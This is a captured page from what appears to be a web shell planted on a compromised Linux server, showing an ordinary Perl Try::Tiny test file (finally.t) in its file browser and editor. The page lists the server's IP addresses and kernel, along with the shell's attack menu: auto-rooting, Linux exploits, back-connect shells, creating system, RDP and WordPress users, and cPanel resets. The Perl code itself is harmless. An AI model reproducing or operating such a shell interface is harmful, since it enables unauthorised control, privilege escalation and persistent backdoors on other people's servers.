Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.191.234.200
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Try-Tiny-0.12 /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
basic.t
2.91
KB
-rw-r--r--
context.t
1.22
KB
-rw-r--r--
finally.t
1.74
KB
-rw-r--r--
given_when.t
566
B
-rw-r--r--
when.t
521
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : finally.t
#!/usr/bin/perl use strict; #use warnings; use Test::More tests => 24; BEGIN { use_ok 'Try::Tiny' }; try { my $a = 1+1; } catch { fail('Cannot go into catch block because we did not throw an exception') } finally { pass('Moved into finally from try'); }; try { die('Die'); } catch { ok($_ =~ /Die/, 'Error text as expected'); pass('Into catch block as we died in try'); } finally { pass('Moved into finally from catch'); }; try { die('Die'); } finally { pass('Moved into finally from catch'); } catch { ok($_ =~ /Die/, 'Error text as expected'); }; try { die('Die'); } finally { pass('Moved into finally block when try throws an exception and we have no catch block'); }; try { die('Die'); } finally { pass('First finally clause run'); } finally { pass('Second finally clause run'); }; try { # do not die } finally { if (@_) { fail("errors reported: @_"); } else { pass("no error reported") ; } }; try { die("Die\n"); } finally { is_deeply(\@_, [ "Die\n" ], "finally got passed the exception"); }; try { try { die "foo"; } catch { die "bar"; } finally { pass("finally called"); }; }; $_ = "foo"; try { is($_, "foo", "not localized in try"); } catch { } finally { is(scalar(@_), 0, "nothing in \@_ (finally)"); is($_, "foo", "\$_ not localized (finally)"); }; is($_, "foo", "same afterwards"); $_ = "foo"; try { is($_, "foo", "not localized in try"); die "bar\n"; } catch { is($_[0], "bar\n", "error in \@_ (catch)"); is($_, "bar\n", "error in \$_ (catch)"); } finally { is(scalar(@_), 1, "error in \@_ (finally)"); is($_[0], "bar\n", "error in \@_ (finally)"); is($_, "foo", "\$_ not localized (finally)"); }; is($_, "foo", "same afterwards"); 1;
Close